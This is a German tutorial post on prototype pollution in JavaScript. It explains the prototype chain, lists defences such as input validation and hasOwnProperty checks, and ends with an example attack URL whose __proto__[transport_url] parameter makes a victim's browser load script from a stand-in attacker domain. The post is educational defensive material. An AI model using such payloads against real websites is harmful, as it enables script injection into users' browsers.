Kategorien
JavaScript Security

Prototype Pollution in JavaScript

Prototype Pollution ist eine Art von Sicherheitslücke in JavaScript, die durch Manipulation der Prototyp-Kette entsteht. In JavaScript können alle Objekte eine Prototyp-Kette haben, die verwendet wird, um Eigenschaften und Methoden zu erben. Wenn ein Objekt eine Eigenschaft oder Methode nicht selbst definiert hat, sucht es in seiner Prototyp-Kette, um zu sehen, ob sie dort definiert ist.

Die Prototype Pollution Sicherheitslücke tritt auf, wenn ein Angreifer in der Lage ist, Eigenschaften zu der Prototyp-Kette von JavaScript-Objekten hinzuzufügen oder zu ändern. Da alle Instanzen eines Objekts diese Änderungen erben, kann dies schwerwiegende Folgen haben.

Hier ist ein einfaches Beispiel:

let obj = {};
console.log(obj.toString()); // [object Object]

Object.prototype.toString = function() {
  return 'Dieses Objekt wurde manipuliert';
};

console.log(obj.toString()); // Ausgabe: Dieses Objekt wurde manipuliert

In diesem Beispiel wurde die toString Methode auf Object.prototype manipuliert, was bedeutet, dass jedes Objekt, das diese Methode aufruft, die manipulierte Version verwenden wird.

Verhinderung von Prototype Pollution

Hier sind einige Maßnahmen, die Sie ergreifen können, um sich gegen Prototype Pollution zu schützen:

  1. Validierung von Eingaben: Sie sollten immer alle Eingaben überprüfen und bereinigen, bevor Sie sie verwenden, besonders wenn sie dazu dienen, Objekte zu manipulieren. Sie sollten nicht zulassen, dass Eingaben direkt als Eigenschaftsnamen verwendet werden, insbesondere wenn sie von unsicheren Quellen stammen.
  2. Verwendung von hasOwnProperty: Wenn Sie mit Objekten arbeiten, verwenden Sie die hasOwnProperty Methode, um sicherzustellen, dass eine Eigenschaft direkt am Objekt und nicht in der Prototyp-Kette definiert ist.
let obj = { ... };
if (obj.hasOwnProperty('potentiallyUnsafeProperty')) {
  // Arbeitet mit der Eigenschaft
}
  1. Vermeidung von __proto__ und prototype: Vermeiden Sie die Verwendung von __proto__ und prototype in Ihrem Code, und erlauben Sie nicht, dass sie durch Eingaben geändert werden.

Um die Einhaktung dieser Regeln zu gewährleisten, ist es sinnvoll den eigenen Code darauf untersuchen zu lassen mittels Code Analyse wieSonarQube oder ESLint.

Beispiel für eine Prototype Pollution

Viele JavaScript-Bibliotheken akzeptieren ein Objekt, das Entwickler verwenden können, um verschiedene Konfigurationsoptionen festzulegen. Der Bibliothekscode prüft, ob der Entwickler bestimmte Eigenschaften zu diesem Objekt hinzugefügt hat und passt die Konfiguration entsprechend an. Ist eine Eigenschaft, die eine bestimmte Option repräsentiert, nicht vorhanden, wird oft eine vordefinierte Standardoption verwendet. Ein vereinfachtes Beispiel könnte so aussehen:

let transport_url = config.transport_url || defaults.transport_url;

Stellen Sie sich nun vor, der Bibliothekscode verwendet diese transport_url, um eine Skriptreferenz auf der Seite hinzuzufügen:

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

Haben die Entwickler der Website keine transport_url-Eigenschaft in ihrem Config-Objekt festgelegt, handelt es sich hierbei um ein Sicherheitsproblem. In Fällen, in denen ein Angreifer in der Lage ist, das globale Object.prototype mit seiner eigenen transport_url-Eigenschaft zu „verschmutzen“, wird diese vom Config-Objekt geerbt und daher als Quelle für dieses Skript auf eine Domain der Wahl des Angreifers gesetzt.

Dann müsste der Angreifer nur ein Opfer dazu bringen, eine speziell erstellte URL zu besuchen, um dessen Browser dazu zu bringen, eine schädliche JavaScript-Datei von einer vom Angreifer kontrollierten Domain zu importieren und auszuführen:

https://vulnerable-website.com/?__proto__[transport_url]=//malicious-site.net